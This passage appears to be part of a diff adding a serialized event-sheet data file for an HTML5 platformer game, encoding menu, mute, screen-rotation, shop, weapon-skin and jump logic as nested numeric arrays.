+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 883441049664011,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 163263134668198,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 803562372631252,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 811501888284004,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 586735915430340,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 651748464244416,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 342235250987772,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ "how2",
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 715405783995652,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 797001721154739,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 398563167165187,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 282657676390725,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 974124490256823,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 981256893390260,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 739369231174293,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 370691857731053,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 817302396770011,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 243696173586147,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 119162718506005,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 307661530157621,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 955651184609150,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 163348659946329,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 442664775496771,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 645896307882860,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 926928641682398,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 924895442807445,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 378917378190647,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 783537435675704,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 745960793679781,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 489440455774722,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 808382899544980,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 213810055591051,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 206795153291229,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 212098283933256,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 204413535304971,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 475666365851105,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 411218732029361,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 644908282368341,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 843450562841471,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 725970967973652,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 569636793577260,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 961180732521285,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 679902597930599,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 820808115747221,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 895561609799351,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 963174079268125,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 799167242554722,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 485662724093894,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 170310255589974,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 927291935876832,
+ false,
+ [
+ [
+ 4,
+ 5
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 973875996982497,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 684392561123610,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 195282547279325,
+ false,
+ [
+ [
+ 6,
+ "Shop"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 104906255424525,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 707083083960022,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 163270214842890,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 468408150449809,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 638668719913730,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 191807140410601,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 866624948498421,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 815440970034531,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 976152020442576,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 171239271569526,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ "Endless",
+ [
+ [
+ 1,
+ "STARTENDLESS",
+ 0,
+ 0,
+ false,
+ false,
+ 927098186032063,
+ false
+ ],
+ [
+ 1,
+ "endlesshigh",
+ 0,
+ 0,
+ false,
+ false,
+ 533905252461911,
+ false
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 448726112292436,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 507939677544369,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 873980391707975,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 262213637578804,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 732428996433743,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 352065742373061,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 377166622414993,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 466500271988778,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 357407724110106,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 574352468668580,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 616001390677041,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 616031141220764,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 345902160887876,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 894310462663655,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 568152454062500,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 779245597803277,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 166891001191489,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 558467364386990,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 324488365453621,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 954365862204991,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 186243298046745,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 286424582380828,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 817516703770347,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 187169516216822,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 535429602308751,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 553812252070547,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 176055760239194,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 717288199628560,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 375684029747040,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 589072891586310,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 239558344130555,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 565793477416996,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 743046829896005,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 262983507281161,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 212411017605282,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 379131598461030,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 300882765328162,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 397199517578214,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 508472495198132,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 471991101713323,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 968616179909800,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 316796498981608,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 598678375666550,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 717662832457364,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 281954412083647,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 125283097864922,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 565109452105686,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 404254607475077,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin1"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 832900716469326,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 215674954921562,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 674695881207253,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 393678051961095,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin2"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 671370819466669,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 833563892640534,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 270544273290393,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 502110722090733,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin3"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 658193221470628,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 100657488168042,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 360721676138820,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 411239423900763,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin4"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 152099257072356,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 567121257277850,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 336965057324799,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 972182161481066,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin5"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 802125299875746,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 865111386188796,
+ false,
+ [
+ [
+ 4,
+ 446
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 69,
+ null,
+ 438448682934959,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 678835240301253,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 264698994756132,
+ false,
+ [
+ [
+ 4,
+ 450
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 946819541918184,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 329705280491226,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 377649962152457,
+ false,
+ [
+ [
+ 6,
+ "Shop"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 641430939317282,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 815408205045951,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 32,
+ null,
+ 212043068896747,
+ false
+ ],
+ [
+ 344,
+ 46,
+ "Pin",
+ 281910146236063,
+ false,
+ [
+ [
+ 4,
+ 324
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 346,
+ 46,
+ "Pin",
+ 513816584999351,
+ false,
+ [
+ [
+ 4,
+ 343
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 407326216253629,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 506380786961476,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 792568361361038,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 459,
+ 46,
+ "Pin",
+ 559909135089494,
+ false,
+ [
+ [
+ 4,
+ 458
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 460,
+ 46,
+ "Pin",
+ 375133396541095,
+ false,
+ [
+ [
+ 4,
+ 458
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 352345735864129,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 105100337931498,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 899272923313505,
+ false,
+ [
+ [
+ 9,
+ 38
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 134921404187875,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 824264518490696,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 943604934521884,
+ [
+ [
+ 324,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 137019716254479,
+ false,
+ [
+ [
+ 4,
+ 325
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 117081449210007,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 894967722327812,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 942670882934521,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 72,
+ null,
+ 170259735182160,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 324,
+ 73,
+ false,
+ null
+ ],
+ [
+ 7,
+ [
+ 22,
+ 324,
+ "Platform",
+ 74,
+ false,
+ null
+ ],
+ [
+ 0,
+ 40
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 599807941768072,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 968703583639086,
+ false
+ ]
+ ],
+ [
+ [
+ 328,
+ 77,
+ null,
+ 717735723472428,
+ false,
+ [
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 52,
+ false,
+ null
+ ]
+ ],
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 324,
+ 76,
+ false,
+ null
+ ],
+ [
+ 0,
+ 20
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 329,
+ 77,
+ null,
+ 938919808030682,
+ false,
+ [
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 52,
+ false,
+ null
+ ]
+ ],
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 324,
+ 76,
+ false,
+ null
+ ],
+ [
+ 0,
+ 20
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 833939237390944,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ true,
+ false,
+ 736856899318306,
+ false
+ ]
+ ],
+ [
+ [
+ 328,
+ 79,
+ null,
+ 447724799140470,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 329,
+ 79,
+ null,
+ 367322665841222,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 146411631115786,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 434059184055087,
+ false,
+ [
+ [
+ 9,
+ 38
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 272477962255893,
+ false
+ ]
